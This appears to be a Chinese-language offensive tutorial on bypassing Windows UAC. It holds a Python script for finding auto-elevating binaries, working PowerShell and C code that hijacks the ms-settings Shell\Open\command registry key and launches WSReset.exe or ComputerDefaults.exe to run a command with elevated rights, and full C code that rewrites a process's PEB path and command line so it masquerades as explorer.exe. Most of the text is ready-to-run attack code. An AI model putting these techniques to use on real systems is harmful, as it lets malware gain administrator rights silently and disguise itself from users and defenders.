利用 Shell API
UAC 在 vs 中具体的设置:

aslnvoker 默认权限
highestAvailable 最高权限
requireAdministrator 必须是管理员权限
如果编译设置了 requireAdministrator,用户运行程序后,可以在不触发 UAC 的情况下获得管理员权限的会话。
首先要知道哪些程序是在白名单中,要符合的要求有这些:
1. 程序的manifest标识的配置属性 autoElevate 为 true(启动时就静默提升权限)。
2.程序不弹出UAC弹窗
3.从注册表里查询 Shell\Open\command 键值对
用 sigcheck64 过滤一下标识属性 autoElevate 为 true 的属性(脚本来自 mathwizard 师傅)
import os
from subprocess import *
path = "C:\\Windows\\System32"
files = os.listdir(path)
print(files)
def GetFileList(path, fileList):
newDir = path
if os.path.isfile(path):
if path[-4:] == ".exe":
fileList.append(path)
elif os.path.isdir(path):
try:
for s in os.listdir(path):
newDir = os.path.join(path, s)
GetFileList(newDir, fileList)
except Exception as e:
pass
return fileList
files = GetFileList(path, [])
print(files)
for eachFile in files:
if eachFile[-4:] == ".exe":
command = r"D:\\tools\\tool\\SysinternalsSuite\sigcheck64.exe -m {} | findstr auto".format(eachFile)
print(command)
p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
copy_command = r'copy {} .\success'.format(eachFile)
Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE)
print('[+] {}'.format(eachFile))
with open('success.txt', 'at') as f:
f.writelines('{}\n'.format(eachFile))
最后得到符合条件的程序清单,然后手动测试哪个不会弹 UAC,这里找到 ComputerDefaults.exe 程序,用于设置默认应用界面。
关于 Shell\Open\command 键值对,以它命名的键值对存储的是可执行文件的路径,如果 exe 程序运行的时候找到该键值对,就会运行该键值对指向的程序,因为白名单中的 exe 运行的时候是默认提升了权限,那么该键值对指向的程序就过了 UAC,如果把恶意的 exe 写入该键值对,那么当运行白名单中 exe 的时候,就能过 UAC 执行恶意程序。
用 process monitor 设置一下过滤器规则,就可以看到 ComputerDefaults.exe 会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command 中的值

创建一个 HKCU\Software\Classes\ms-settings\Shell\Open\command,再对 omputerDefaults.exe 进行监听,发现还会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute(NAME NOT FOUND),

此时创建一个 DelegateExecute,并将 command 指向我们指定的程序,比如改成 cmd.exe ,此时再运行 C:\Windows\System32\ComputerDefaults.exe,就会弹出一个 system 权限的 cmd 了。
powershell 的实现:
<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API
Author: Hashim Jawad of ACTIVELabs
.PARAMETER Command
Specifies the command you would like to run in high integrity context.
.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
This will effectivly start cmd.exe in high integrity context.
.NOTES
This UAC bypass has been tested on the following:
- Windows 10 Version 1803 OS Build 17134.590
- Windows 10 Version 1809 OS Build 17763.316
#>
function Invoke-WSResetBypass {
Param (
[String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
)
$CommandPath = "HKCU:Software\Classes\ms-settings\Shell\Open\command"
$filePath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item $CommandPath -Force | Out-Null
New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
Write-Host "[+] Registry entry has been created successfully!"
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
Write-Host "[+] Starting WSReset.exe"
Write-Host "[+] Triggering payload.."
Start-Sleep -Seconds 10
if (Test-Path $filePath) {
Remove-Item $filePath -Recurse -Force
Write-Host "[+] Cleaning up registry entry"
}
}
IEX Invoke-WSResetBypass;
运行 POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\Alice\Desktop\BypassUAC.ps1,成功执行了 WSReset.exe

c 语言实现
#include <stdio.h>
#include <Windows.h>
int main(void)
{
LPCWSTR regname = L"Software\\Classes\\ms-settings\\Shell\\Open\\command";
HKEY hkResult = NULL;
const wchar_t* payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe";
DWORD Len = wcslen(payload) * 2 + 2;
int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult);
ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len);
if (ret == 0) {
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d\n", ret);
return 0;
}
printf("Starting WSReset.exe");
system("C://Windows//System32//WSReset.exe");
return 0;
}
伪装白名单
直接将恶意程序伪装成白名单中的程序,方法就是伪装进程的 PEB。
PEB 结构(Process Envirorment Block Structure),进程环境信息块,通过修改目标进程的 PEB 结构中的路径信息和命令行信息为想要伪装的对象的信息,就可以将目标进程伪装成目标进程。
要实现改过程,首先用 NtQueryInformationProcess 函数获取指定进程的 PEB 地址,结构如下:
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress; //peb的基地址,实际上是一个 _PEB 结构体的指针
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
_PEB:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; //被调试状态
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 进程参数信息
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
其中 PRTL_USER_PROCESS_PARAMETERS 的结构:
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
重点关注 ImagePathName 和 CommandLine,也就是 UNICODE_STRING 结构体
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
要用到的几个函数:
BOOL ReadProcessMemory(
_In_ HANDLE hProcess, // 进程句柄
_In_ LPCVOID lpBaseAddress, // 读取基址 指向指定进程空间
_Out_ LPVOID lpBuffer, // 接收缓存
_In_ SIZE_T nSize, // 读取大小
_Out_opt_ SIZE_T *lpNumberOfBytesRead // 接收数据的实际大小 可以设置为NULL
);
BOOL WriteProcessMemory(
_In_ HANDLE hProcess, // 进程句柄 INVALID_HANDLE_VALUE表示自身进程
_In_ LPVOID lpBaseAddress, // 写入内存首地址
_Out_ LPCVOID lpBuffer, // 指向欲写入的数据
_In_ SIZE_T nSize, // 写入大小
_Out_opt_ SIZE_T *lpNumberOfBytesWritten // 接收实际写入大小 可以设置为NULL
);
现在我们已经学会 1+1,接着就可以开始造火箭了
#include <stdio.h>
#include <Windows.h>
#include <winternl.h> //PEB Structures, NtQueryInformationProcess
#include <TlHelp32.h>
//prepare for call NtQueryInformationProcess func
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
// modify ImagePathName and CommandLine in PEB of specific process
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
// get handle of process
/*
OpenProcess(访问权限, 进程句柄是否被继承, 要被打开的进程PID)
*/
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL) {
printf("Open Process error!");
return FALSE;
}
// prepare for getting PEB
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
const WCHAR* NTDLL = L"ntdll.dll";
//NtQueryInformationProcess这个函数没有关联的导入库,必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
printf("GetProcAddress Error");
return FALSE;
}
// get status of specific process
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
printf("NtQueryInformationProcess failed");
return FALSE;
}
// get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// get ProcessParameters in PEB of process
ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// modify cmdline data
usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str
WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// modify path data
usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str
WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
}
// get PID by ProcessName
DWORD FindProcId(const WCHAR* ProcName) {
DWORD ProcId = 0; // target procId
PROCESSENTRY32 pe32 = { 0 }; // to get snapshot structure
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list
if (hProcessShot == INVALID_HANDLE_VALUE) {
puts("get proc list error");
return 0;
}
BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list
// compare proc name and get correct process Id
while (cProc) {
if (wcscmp(pe32.szExeFile, ProcName) == 0) {
ProcId = pe32.th32ProcessID;
break;
}
cProc = Process32Next(hProcessShot, &pe32);
}
return ProcId;
}
int main()
{
const WCHAR* ProcessName = L"Calculator.exe";
do {
DWORD dwTargetId = FindProcId(ProcessName);
if (0 == dwTargetId) {
printf("can not find procIdn");
break;
}
if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE"))
{
printf("Dsisguise Process Error.");
break;
}
printf("Disguise Process OK.");
} while (FALSE);
system("pause");
return 0;
}
执行前先开一个 calc,程序运行后,会将 Calculator.exe 的 cmdline 和 imagepath 修改为指定进程的。